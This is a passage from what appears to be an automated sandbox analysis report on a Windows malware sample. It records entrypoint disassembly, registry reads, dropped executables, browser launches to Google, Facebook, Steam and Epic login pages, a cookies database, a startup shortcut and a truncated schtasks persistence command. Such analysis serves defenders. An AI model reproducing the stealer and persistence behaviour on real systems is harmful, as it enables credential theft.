0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "Qv9nk40.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "1va32uO2.exe" file has an entrypoint instructions - "call 0x420aea,jmp 0x4203fb,push ebp,mov ebp, esp,push esi,push dword ptr [ebp + 8],mov esi, ecx,call 0x4205e7,mov dword ptr [esi], 0x49fdf0,mov eax, esi,pop esi,pop ebp,ret 4,and dword ptr [ecx + 4], 0,mov eax, ecx,and dword ptr [ecx + 8], 0,mov dword ptr [ecx + 4], 0x49fdf8,mov dword ptr [ecx], 0x49fdf0,ret ,push ebp,mov ebp, esp,push esi,push dword ptr [ebp + 8],mov esi, ecx,call 0x4205e7,mov dword ptr [esi], 0x49fe0c,mov eax, esi,pop esi,pop ebp,ret 4,and dword ptr [ecx + 4], 0,mov eax, ecx,and dword ptr [ecx + 8], 0," "cw8sM05.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "4Du834Zv.exe" file has an entrypoint instructions - "jmp dword ptr [0x402000],add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al," "sqlite3.dll" file has an entrypoint instructions - "jmp 0x100a9752,jmp 0x10084dd0,jmp 0x10083310,jmp 0x100a7460,jmp 0x100a8840,jmp 0x10084c70,jmp 0x10082e10,jmp 0x10086cc0,jmp 0x10089a90,jmp 0x100824e0,jmp 0x100867c0,jmp 0x10086020,jmp 0x10084340,jmp 0x100a9f11,jmp 0x100aa3db,jmp 0x100a86ef,jmp 0x10088a80,jmp 0x10089260,jmp 0x10089c60,jmp 0x100a9d91," "6RL4Tz0.exe" file has an entrypoint instructions - "call 0x405a69,jmp 0x401f8b,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,mov edx, dword ptr [esp + 0xc],mov ecx, dword ptr [esp + 4],test edx, edx,je 0x402195,xor eax, eax,mov al, byte ptr [esp + 8],test al, al,jne 0x40214c,cmp edx, 0x100,jb 0x40214c,cmp dword ptr [0x870088], 0,je 0x40214c,jmp 0x405b56,push edi,mov edi, ecx,cmp edx, 4,jb 0x402185,neg ecx,and ecx, 3,je 0x402167,sub edx, ecx,mov byte ptr [edi], al,add edi, 1,sub ecx, 1,jne 0x40215d,mov ecx, eax,shl eax, 8," "7pm0Cc79.exe" file has an entrypoint instructions - "call 0x4031a7,jne 0x4031af,je 0x4031af,jnp 0x403153,and dword ptr [ecx - 0x74fb3b7d], ecx,pop esp,and al, 0xfc,jmp 0x4031c2,add al, 0x81,jmp 0x403163,xor dword ptr [eax], eax,add bl, ch,add eax, 0x4f5eb20,and byte ptr [edi + eax + 0x75], dh,add eax, 0xb1d340c7,rol bh, 1,inc esp,and al, 0xfc,xor byte ptr [eax], al,add byte ptr [eax], al,sub esp, 4,jne 0x4031e2,je 0x4031e2,int3 ,dec esi,xchg eax, esi,add eax, dword ptr [ebx + 0x548b04c4],and al, 0xfc,jmp 0x4031f1,add al, 0x29,shr bl, 5,add ch, bl,stc ,add al, 2,jmp 0x4031fc,or byte ptr [edx], cl,loop 0x403246,mov byte ptr [ebx + eax + 2], ah,je 0x403206,jne 0x403206,mov cl, 0xb5,dec edi,"46:T8b0,"a56da099e59801bac606963e44684336.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "a56da099e59801bac606963e44684336.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "Qv9nk40.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "Qv9nk40.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "cw8sM05.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "cw8sM05.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "1va32uO2.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "1va32uO2.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "1va32uO2.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "4Du834Zv.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "4Du834Zv.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "4Du834Zv.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "4Du834Zv.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "AR") "4Du834Zv.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "AR") "4Du834Zv.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "AR-SA") "4Du834Zv.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "AR-SA") "4Du834Zv.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "BG") "4Du834Zv.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "BG") "4Du834Zv.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "BG-BG") "4Du834Zv.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "BG-BG") "4Du834Zv.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "CA") "4Du834Zv.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "CA") "4Du834Zv.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "CA-ES") "4Du834Zv.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "CA-ES")47:Tf6f,Observed system executable string:"C:\Windows\system32\apphelp.dll" [Source: 00000296.00000128.516364.00090000.wprm] Observed system executable string:"%WINDIR%\system32\advpack.dll" [Source: 00000000-00000480-00000C25-41270328] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP000.TMP\"" [Source: 00000000-00000480-00000BC1-41282365] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP001.TMP\"" [Source: 00000000-00000296-00000BC1-41716635] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP002.TMP\"" [Source: 00000000-00002596-00000BC1-42066900] Observed system executable string:"%WINDIR%\System32\ieframe.dll" [Source: 00000000-00001640-00000C25-42859493] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll" [Source: 00000000-00003776-00000C25-53542297] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" [Source: 00000000-00003776-00000C25-54263507] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00003776-00000C25-54326013] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll" [Source: 00000000-00003776-00000C25-54476978] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" [Source: 00000000-00003776-00000C25-54531055] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll" [Source: 00000000-00003776-00000C25-54608281] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll" [Source: 00000000-00003776-00000C25-54850258] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll" [Source: 00000000-00003776-00000C25-54911071] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\Microsoft.CSharp\f73f48afb5512225dedaee9c88ac5050\Microsoft.CSharp.ni.dll" [Source: 00000000-00003776-00000C25-54952667] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\nlssorting.dll" [Source: 00000000-00003776-00000C25-55190261] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Configuration\96f7edb07b12303f0ec2595c7f3778c7\System.Configuration.ni.dll" [Source: 00000000-00003776-00000C25-55365020] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Xml\15af16d373cf0528cb74fc73d365fdbf\System.Xml.ni.dll" [Source: 00000000-00003776-00000C25-55435147] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" [Source: 00000000-00003776-00000C25-55551448] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" [Source: 00000000-00003776-00000C25-56184064] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00003776-00000C25-56443418] Observed system executable string:"%WINDIR%\System32\shdocvw.dll" [Source: 00000000-00003776-00000C25-58447718] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll" [Source: 00000000-00003776-00000C25-67376919] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\rasapi32.dll" [Source: 00000000-00003776-00000C25-74291703] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\winhttp.dll" [Source: 00000000-00003776-00000C25-74610715]48:T8ce,Spawned process "Qv9nk40.exe" (UID: 00000000-00000296) Spawned process "cw8sM05.exe" (UID: 00000000-00002596) Spawned process "1va32uO2.exe" (UID: 00000000-00001640) Spawned process "iexplore.exe" with commandline "https://accounts.google.com/" (UID: 00000000-00002520) Spawned process "iexplore.exe" with commandline "https://www.facebook.com/login" (UID: 00000000-00000696) Spawned process "iexplore.exe" with commandline "https://store.steampowered.com/login" (UID: 00000000-00001612) Spawned process "iexplore.exe" with commandline "SCODEF:696 CREDAT:406529 /prefetch:2" (UID: 00000000-00003792) Spawned process "iexplore.exe" with commandline "https://twitter.com/i/flow/login" (UID: 00000000-00002728) Spawned process "iexplore.exe" with commandline "SCODEF:2520 CREDAT:275457 /prefetch:2" (UID: 00000000-00003336) Spawned process "iexplore.exe" with commandline "https://steamcommunity.com/openid/loginform" (UID: 00000000-00003452) Spawned process "iexplore.exe" with commandline "https://www.epicgames.com/id/login" (UID: 00000000-00000612) Spawned process "iexplore.exe" with commandline "SCODEF:1612 CREDAT:275457 /prefetch:2" (UID: 00000000-00000948) Spawned process "iexplore.exe" with commandline "SCODEF:2728 CREDAT:275457 /prefetch:2" (UID: 00000000-00003864) Spawned process "iexplore.exe" with commandline "SCODEF:3452 CREDAT:275457 /prefetch:2" (UID: 00000000-00001252) Spawned process "4Du834Zv.exe" (UID: 00000000-00003776) Spawned process "iexplore.exe" with commandline "SCODEF:696 CREDAT:472072 /prefetch:2" (UID: 00000000-00001932) Spawned process "cmd.exe" with commandline "/c schtasks /create /f /RU "%OSUSER%" /tr "%ALLUSERSPROFILE%\\Of ..." (UID: 00000000-00002072), Spawned process "schtasks.exe" with commandline "schtasks /create /f /RU "%OSUSER%" /tr "%ALLUSERSPROFILE%\\Offi ..." (UID: 00000000-00002976) Spawned process "cmd.exe" with commandline "/c schtasks /create /f /RU "%OSUSER%" /tr "%ALLUSERSPROFILE%\\Of ..." (UID: 00000000-00003136), Spawned process "schtasks.exe" with commandline "schtasks /create /f /RU "%OSUSER%" /tr "%ALLUSERSPROFILE%\\Offi ..." (UID: 00000000-00003680) Spawned process "6RL4Tz0.exe" (UID: 00000000-00002216) Spawned process "7pm0Cc79.exe" (UID: 00000000-00000292)49:T8ce,Spawned process "Qv9nk40.exe" (UID: 00000000-00000296) Spawned process "cw8sM05.exe" (UID: 00000000-00002596) Spawned process "1va32uO2.exe" (UID: 00000000-00001640) Spawned process "iexplore.exe" with commandline "https://accounts.google.com/" (UID: 00000000-00002520) Spawned process "iexplore.exe" with commandline "https://www.facebook.com/login" (UID: 00000000-00000696) Spawned process "iexplore.exe" with commandline "https://store.steampowered.com/login" (UID: 00000000-00001612) Spawned process "iexplore.exe" with commandline "SCODEF:696 CREDAT:406529 /prefetch:2" (UID: 00000000-00003792) Spawned process "iexplore.exe" with commandline "https://twitter.com/i/flow/login" (UID: 00000000-00002728) Spawned process "iexplore.exe" with commandline "SCODEF:2520 CREDAT:275457 /prefetch:2" (UID: 00000000-00003336) Spawned process "iexplore.exe" with commandline "https://steamcommunity.com/openid/loginform" (UID: 00000000-00003452) Spawned process "iexplore.exe" with commandline "https://www.epicgames.com/id/login" (UID: 00000000-00000612) Spawned process "iexplore.exe" with commandline "SCODEF:1612 CREDAT:275457 /prefetch:2" (UID: 00000000-00000948) Spawned process "iexplore.exe" with commandline "SCODEF:2728 CREDAT:275457 /prefetch:2" (UID: 00000000-00003864) Spawned process "iexplore.exe" with commandline "SCODEF:3452 CREDAT:275457 /prefetch:2" (UID: 00000000-00001252) Spawned process "4Du834Zv.exe" (UID: 00000000-00003776) Spawned process "iexplore.exe" with commandline "SCODEF:696 CREDAT:472072 /prefetch:2" (UID: 00000000-00001932) Spawned process "cmd.exe" with commandline "/c schtasks /create /f /RU "%OSUSER%" /tr "%ALLUSERSPROFILE%\\Of ..." (UID: 00000000-00002072), Spawned process "schtasks.exe" with commandline "schtasks /create /f /RU "%OSUSER%" /tr "%ALLUSERSPROFILE%\\Offi ..." (UID: 00000000-00002976) Spawned process "cmd.exe" with commandline "/c schtasks /create /f /RU "%OSUSER%" /tr "%ALLUSERSPROFILE%\\Of ..." (UID: 00000000-00003136), Spawned process "schtasks.exe" with commandline "schtasks /create /f /RU "%OSUSER%" /tr "%ALLUSERSPROFILE%\\Offi ..." (UID: 00000000-00003680) Spawned process "6RL4Tz0.exe" (UID: 00000000-00002216) Spawned process "7pm0Cc79.exe" (UID: 00000000-00000292)4a:T9338,"Qv9nk40.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP000.TMP\Qv9nk40.exe]- [targetUID: 00000000-00000480] "1va32uO2.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP002.TMP\1va32uO2.exe]- [targetUID: 00000000-00001640] "cw8sM05.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP001.TMP\cw8sM05.exe]- [targetUID: 00000000-00000296] "4Du834Zv.exe" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows"- Location: [%TEMP%\IXP002.TMP\4Du834Zv.exe]- [targetUID: 00000000-00003776] "sqlite3.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\tempAVS4CRoIeEXM83E\sqlite3.dll]- [targetUID: 00000000-00003776] "urlref_httpsaccounts.google.com" has type "HTML document UTF-8 Unicode text with very long lines"- [targetUID: N/A] "6RL4Tz0.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP001.TMP\6RL4Tz0.exe]- [targetUID: 00000000-00002216] "7pm0Cc79.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP000.TMP\7pm0Cc79.exe]- [targetUID: 00000000-00000480] "logo_steam_2_.svg" has type "SVG Scalable Vector Graphics image"- [targetUID: N/A] "4lCu2zih0ca_1_.svg" has type "SVG Scalable Vector Graphics image"- [targetUID: N/A] "FANBooster131.lnk" has type "MS Windows shortcut Item id list present Points to a file or directory Has Description string Has Relative path Archive ctime=Mon Dec 25 11:45:59 2023 mtime=Mon Dec 25 11:45:59 2023 atime=Mon Dec 25 11:29:00 2023 length=821248 window=hide"- Location: [%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\FANBooster131.lnk]- [targetUID: 00000000-00003776] "urlblockindex_1_.bin" has type "data"- [targetUID: N/A] "3.0db8cc9a.chunk_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "libraries~b28b7af69_1_.js" has type "UTF-8 Unicode text with very long lines with CRLF LF line terminators"- [targetUID: N/A] "main_2_.js" has type "data"- [targetUID: N/A] "main.bb112302.chunk_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "identifier_1_.htm" has type "HTML document UTF-8 Unicode text with very long lines"- [targetUID: N/A] "main_1_.js" has type "data"- [targetUID: N/A] "WYjyCrjb6rtocookies.sqlite" has type "SQLite 3.x database user version 8 last written using SQLite version 3020001"- Location: [%TEMP%\tempAVS4CRoIeEXM83E\WYjyCrjb6rtocookies.sqlite]- [targetUID: 00000000-00003776] "76C4A5585D9099B27A68C7AA37A47AE7" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\76C4A5585D9099B27A68C7AA37A47AE7]- [targetUID: 00000000-00001932] "sLMNFasP7gH_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "P0EVBDGD.htm" has type "HTML document UTF-8 Unicode text with very long lines with CRLF NEL line terminators"- Location: [%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\37NU00GP\P0EVBDGD.htm]- [targetUID: 00000000-00000696] "Tar5B79.tmp" has type "data"- Location: [%TEMP%\Tar5B79.tmp]- [targetUID: 00000000-00003776] "prototype-1.7_1_.js" has type "ASCII text with very long lines with CRLF line terminators"- [targetUID: N/A] "shared_global_1_.js" has type "ASCII text with very long lines with CRLF line terminators"- [targetUID: N/A] "shared_global_2_.js" has type "ASCII text with very long lines with CRLF line terminators"- [targetUID: N/A] "main_1_.css" has type "UTF-8 Unicode text with very long lines with CRLF LF line terminators"- [targetUID: N/A] "store_1_.css" has type "ASCII text with very long lines with CRLF LF line terminators"- [targetUID: N/A] "MotivaSans-RegularItalic_1_.ttf" has type "TrueType Font data digitally signed 18 tables 1st "DSIG" 23 names Macintosh Copyright \251 2012 2017 2020 by Plau. All rights reserved.Motiva SansRegular Italic4.015;Plau"- [targetUID: N/A] "MotivaSans-BoldItalic_1_.ttf" has type "TrueType Font data digitally signed 18 tables 1st "DSIG" 22 names Macintosh Copyright \251 2012 2017 2020 by Plau. All rights reserved.Motiva SansBold Italic4.015;Plau;Mo"- [targetUID: N/A] "MotivaSans-LightItalic_1_.ttf" has type "TrueType Font data digitally signed 18 tables 1st "DSIG" 24 names Macintosh Copyright \251 2012 2017 2020 by Plau. All rights reserved.Motiva SansLight Italic4.015;Plau;M"- [targetUID: N/A] "new_login_bg_strong_mask_1_.jpg" has type "JPEG image data Exif standard: [TIFF image data little-endian direntries=0] baseline precision 8 1920x1080 components 3"- [targetUID: N/A] "MotivaSans-Medium_1_.ttf" has type "TrueType Font data digitally signed 18 tables 1st "DSIG" 24 names Macintosh Copyright \251 2012 2017 2020 by Plau. All rights reserved.Motiva SansMedium4.015;Plau;MotivaS"- [targetUID: N/A] "MotivaSans-Bold_1_.ttf" has type "TrueType Font data digitally signed 18 tables 1st "DSIG" 22 names Macintosh Copyright \251 2012 2017 2020 by Plau. All rights reserved.Motiva SansBold4.015;Plau;MotivaSan"- [targetUID: N/A] "MotivaSans-Regular_1_.ttf" has type "TrueType Font data digitally signed 18 tables 1st "DSIG" 22 names Macintosh Copyright \251 2012 2017 2020 by Plau. All rights reserved.Motiva SansRegular4.015;Plau;Motiva"- [targetUID: N/A] "MotivaSans-Light_1_.ttf" has type "TrueType Font data digitally signed 18 tables 1st "DSIG" 24 names Macintosh Copyright \251 2012 2017 2020 by Plau. All rights reserved.Motiva SansLight4.015;Plau;MotivaSa"- [targetUID: N/A] "_combined_1_.js" has type "HTML document ASCII text with CRLF line terminators"- [targetUID: N/A] "MotivaSans-Black_1_.ttf" has type "TrueType Font data digitally signed 18 tables 1st "DSIG" 24 names Macintosh Copyright \251 2012 2017 2020 by Plau. All rights reserved.Motiva SansBlack4.015;Plau;MotivaSa"- [targetUID: N/A] "MotivaSans-Thin_1_.ttf" has type "TrueType Font data digitally signed 18 tables 1st "DSIG" 24 names Macintosh Copyright \251 2012 2017 2020 by Plau. All rights reserved.Motiva SansThin4.015;Plau;MotivaSan"- [targetUID: N/A] "global_1_.js" has type "ASCII text with very long lines with CRLF line terminators"- [targetUID: N/A] "jquery-1.11.1.min_1_.js" has type "ASCII text with very long lines with CRLF line terminators"- [targetUID: N/A] "imagestore.dat" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Internet Explorer\imagestore\3mt7jhv\imagestore.dat]- [targetUID: 00000000-00001612] "jquery-1.8.3.min_1_.js" has type "ASCII text with very long lines with CRLF line terminators"- [targetUID: N/A] "dynamicstore_1_.js" has type "ASCII text with very long lines with CRLF line terminators"- [targetUID: N/A] "main_1_.js" has type "ASCII text with very long lines with CRLF line terminators"- [targetUID: N/A] "shared_global_1_.css" has type "ASCII text with very long lines with CRLF LF line terminators"- [targetUID: N/A] "6bjw9N12j0I_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "77EC63BDA74BD0D0E0426DC8F8008506" has type "Microsoft Cabinet archive data Windows 2000/XP setup 66791 bytes 1 file at 0x2c +A "authroot.stl" number 1 6 datablocks 0x1 compression"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506]- [targetUID: 00000000-00003776] "tracking_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "login_2_.htm" has type "HTML document UTF-8 Unicode text with very long lines"- [targetUID: N/A] "login_1_.js" has type "UTF-8 Unicode text with very long lines with CRLF line terminators"- [targetUID: N/A] "urlref_httpswww.facebook.comlogin" has type "HTML document UTF-8 Unicode text with very long lines"- [targetUID: N/A] "cart_1_.css" has type "ASCII text with very long lines with CRLF LF line terminators"- [targetUID: N/A] "xGzxHIbkRpC_1_.js" has type "C source ASCII text with very long lines"- [targetUID: N/A] "sKtrEJAtiUM_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "_cNbISKpDhw_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "loginform_1_.htm" has type "HTML document UTF-8 Unicode text with very long lines with CRLF LF line terminators"- [targetUID: N/A] "urlref_httpssteamcommunity.comopenidloginform" has type "HTML document UTF-8 Unicode text with very long lines with CRLF LF line terminators"- [targetUID: N/A] "Ch_YChJCKQS_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "globalv2_1_.css" has type "ASCII text with very long lines with CRLF LF line terminators"- [targetUID: N/A] "favicon_1_.ico" has type "MS Windows icon resource - 5 icons 16x16 32 bits/pixel 24x24 32 bits/pixel"- [targetUID: N/A] "x5_Htks8xgp_1_.js" has type "C source ASCII text with very long lines"- [targetUID: N/A] "CheckConnection_1_.htm" has type "HTML document ASCII text with very long lines"- [targetUID: N/A] "buttons_1_.css" has type "ASCII text with CRLF LF line terminators"- [targetUID: N/A] "D7FChOqsWuY_1_.css" has type "ASCII text with very long lines"- [targetUID: N/A] "aBIoq18cchP_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "qvzskUrYlYC_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "login_1_.htm" has type "HTML document UTF-8 Unicode text with very long lines with CRLF LF line terminators"- [targetUID: N/A] "urlref_httpsstore.steampowered.comlogin" has type "HTML document UTF-8 Unicode text with very long lines with CRLF LF line terminators"- [targetUID: N/A] "4UabrENHsxJlGDuGo1OIlLU94YtzCwA_1_.woff" has type "Web Open Font Format TrueType length 26412 version 1.1"- [targetUID: N/A] "4UaGrENHsxJlGDuGo1OIlL3Owpg_1_.woff" has type "Web Open Font Format TrueType length 26180 version 1.1"- [targetUID: N/A] "shared_responsive_adapter_1_.js" has type "UTF-8 Unicode text with CRLF line terminators"- [targetUID: N/A] "~DF47C19B616D7812C2.TMP" has type "data"- Location: [%TEMP%\~DF47C19B616D7812C2.TMP]- [targetUID: 00000000-00002520] "manifest_1_.js" has type "ASCII text with very long lines with CRLF LF line terminators"- [targetUID: N/A] "KFOlCnqEu92Fr1MmEU9fBBc-_1_.woff" has type "Web Open Font Format TrueType length 20012 version 1.1"- [targetUID: N/A] "Jn0xcQmjzFV_1_.js" has type "C source ASCII text with very long lines"- [targetUID: N/A] "KFOkCnqEu92Fr1MmgVxIIzQ_1_.woff" has type "Web Open Font Format TrueType length 19936 version 1.1"- [targetUID: N/A] "KFOlCnqEu92Fr1MmSU5fBBc-_1_.woff" has type "Web Open Font Format TrueType length 19916 version 1.1"- [targetUID: N/A] "KFOlCnqEu92Fr1MmWUlfBBc-_1_.woff" has type "Web Open Font Format TrueType length 19888 version 1.1"- [targetUID: N/A] "shared_responsive_1_.css" has type "ASCII text with very long lines with CRLF LF line terminators"- [targetUID: N/A] "L3lExXePTzJ_1_.css" has type "ASCII text with very long lines"- [targetUID: N/A] "en-US.4" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Internet Explorer\DomainSuggestions\en-US.4]- [targetUID: 00000000-00000696] "login_1_.css" has type "assembler source ASCII text with CRLF LF line terminators"- [targetUID: N/A] "~DFE0762DD94D975065.TMP" has type "data"- [targetUID: N/A] "~DF8A9701D62EDD0C73.TMP" has type "data"- Location: [%TEMP%\~DF8A9701D62EDD0C73.TMP]- [targetUID: 00000000-00003452] "~DFBC750434DC5B3649.TMP" has type "data"- Location: [%TEMP%\~DFBC750434DC5B3649.TMP]- [targetUID: 00000000-00000696] "~DF06D9FD6E9D6C57D5.TMP" has type "data"- Location: [%TEMP%\~DF06D9FD6E9D6C57D5.TMP]- [targetUID: 00000000-00003452] "~DF641E659F2D2441CE.TMP" has type "data"- Location: [%TEMP%\~DF641E659F2D2441CE.TMP]- [targetUID: 00000000-00000696] "~DF6142EF258E15AA75.TMP" has type "data"- Location: [%TEMP%\~DF6142EF258E15AA75.TMP]- [targetUID: 00000000-00002728] "~DF7224D19D677D70B5.TMP" has type "data"- Location: [%TEMP%\~DF7224D19D677D70B5.TMP]- [targetUID: 00000000-00000696] "~DF9FD016BE6A1E439C.TMP" has type "data"- Location: 